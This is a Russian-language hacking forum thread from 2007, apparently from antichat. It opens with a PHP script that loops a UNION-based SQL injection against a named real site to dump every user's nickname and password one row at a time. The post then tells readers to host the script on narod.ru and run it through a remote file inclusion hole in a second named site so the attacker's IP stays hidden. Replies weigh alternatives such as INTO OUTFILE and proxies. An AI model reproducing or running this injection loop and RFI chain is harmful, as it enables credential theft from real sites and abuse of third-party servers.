PDA

Просмотр полной версии : Слив базы через SQL-inj в цикле


Shram-spb
08.07.2007, 04:32
Может было уже, но не нащел, по этому пишу свою статью..

Дорогой Олл, часто бывает так, что на сайте нельзя вывести всю базу
сразу, а можно только одной строкой, и далее приходится перебирать
через limit. Можно ли автоматизировать этот процесс?? Да. Можно.
И сегодня я вам расскажу, как это сделать!
Сегодня передо мною стала именна такая проблема и я написал небольшой скриптик для этого..


<?php

$req='http://www.dog.ru/index.php3?mode=5&id=-1+union+select+1,2,3,4,5,concat(char(60,100,97,116 ,97,62),nick,char(58),passwd,char(60,47,100,97,116 ,97,62)),7,8,9,10,11,12,13,14+from+users+limit+';
// char(60,100,97,116,97,62) = <data>
// char(60,47,100,97,116,97,62) = </data>
// В итоге из базы вернется такая строка: <data>username:password</data>


$tag1='<data>';
$tag2='</data>';
// Между какими тегами ищем наши данные

$max=3203;
// Максимальное число пользователей в базе

error_reporting(0);
ob_implicit_flush();

echo '<pre>';
// Открываем цикл

for ($i=0;$i<$max;$i++)
{
con ($req.$i.',1/*',$tag1,$tag2);
}
echo '</pre>';

// Собственно сама функция
function con($url,$a1,$a2)
{


// Получаем порт и хост из адреса
$service_port = getservbyname('www', 'tcp');
$host=substr($url,7,strpos($url,"/",7)-7);
$address = gethostbyname($host);

// Создаем сокет
$socket = socket_create(AF_INET, SOCK_STREAM, 0);

// Коннектимся
$result = socket_connect($socket, $address, $service_port);


switch(socket_select($r = array($socket), $w = array($socket), $f = array($socket), 5))
{
case 2:
echo "[-] Connection Refused\n";
break;
case 1:
// echo "[-] Connected\n"; // Комментируем эту строку, чтобы не отображалась при выводе
break;
case 0:
echo "[-] Timeout\n";
break;
}

// Формируем запрос

$in = "GET $url HTTP/1.0\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";

// Запрашиваем страницу

socket_write($socket, $in, strlen ($in));


$out = '';
$text='';
// Получам данные
while ($out = socket_read($socket, 2048)) {
$text.=$out;
}
socket_close ($socket);

// Ищем в полученной странице наши теги и выводим строку между ними
echo substr($text,strpos($text,$a1),strpos($text,$a2,st rpos($text,$a1))-strpos($text,$a1));
echo "\n";
}
?>



Заливаем этот скриптик куда-нить на narod.ru.

Далее ищем сайт, уязвимый php-inj, например
*http://www.ultriplo.com/index.php?page=[url].php

и запускаем скрипт
*http://www.ultriplo.com/index.php?page=http://standmp3.narod.ru/get

Таким образом даже через модем мы можем быстро вытащить всю базу... Скорость зависит от ширины канала того сайта, на котором мы запускаем скрипт...
Вот! :) Спасибо за внимание..

Created by 5hr4M...

Shram-spb
08.07.2007, 15:25
_https://forum.antichat.ru/thread31457.html
_https://forum.antichat.ru/thread21288.html


#потер оффтоп

Что - то я не понял, что я нарушил???
Если тока, черезчур много кода.. ну уж без него никак.. :(

genom--
08.07.2007, 16:40
а через инто аутфайл никак? да и слить упакованную в архив бд лудше--- или если уж так и сливать то лудше сразу с локали запускать и лить себе -- чет как-то хз помойму не слишком разумный метод делать дамп базы

Shram-spb
08.07.2007, 17:12
into outfile тоже не всегда работает.. нет прав записи часто..
А если лить с локали
1) Палишь ip
2) Скорость маленькая
3) Трафа жрет
А так скрипт исполняется на другой машине, с которой можно его через proxy запросить..

genom--
08.07.2007, 20:07
into outfile тоже не всегда работает.. нет прав записи часто..
А если лить с локали
1) Палишь ip
2) Скорость маленькая
3) Трафа жрет
А так скрипт исполняется на другой машине, с которой можно его через proxy запросить..

1) палишь ip -- а проксю повесить сильно впадлу на себя?
2) и 3) -- полюбому потом придется лить все это с того сайта на который закачал..........

Shram-spb
08.07.2007, 20:15
1) палишь ip -- а проксю повесить сильно впадлу на себя?
2) и 3) -- полюбому потом придется лить все это с того сайта на который закачал..........

1) Ну, если переписать немного скрипт, то можно..
2) Ты хоть разбирался как скрипт работает??
Объясню.. Он запрашивает с атакуемого сайта страницу, находит в ней нужные данные и выводит их на экран..
А теперь прикинь какая экономия траффика? Запросить 1000 страниц или скачать 1000 строчек с сайта??? Подумай над этим...

guest3297
10.07.2007, 17:11
genom-- (member.php?u=25796)
Сам подумал что сказал создай мне запрос что бы выводил в файл всю базу, при условии что выводиться 1 строка.

Shram-spb (member.php?u=37408)
Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.

Digimortal
10.07.2007, 18:48
вообще, это слишком простенько и неинтересно, чтоб посвещать такому скриптику целую статью.. ведь извлекать из базы подобным образом инфу - это тривиальнейшая задача, которую тут, наверно, каждому второму хоть раз приходилось решать..


>> Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.

имхо проще уже потом из файла перекинуть все в БД..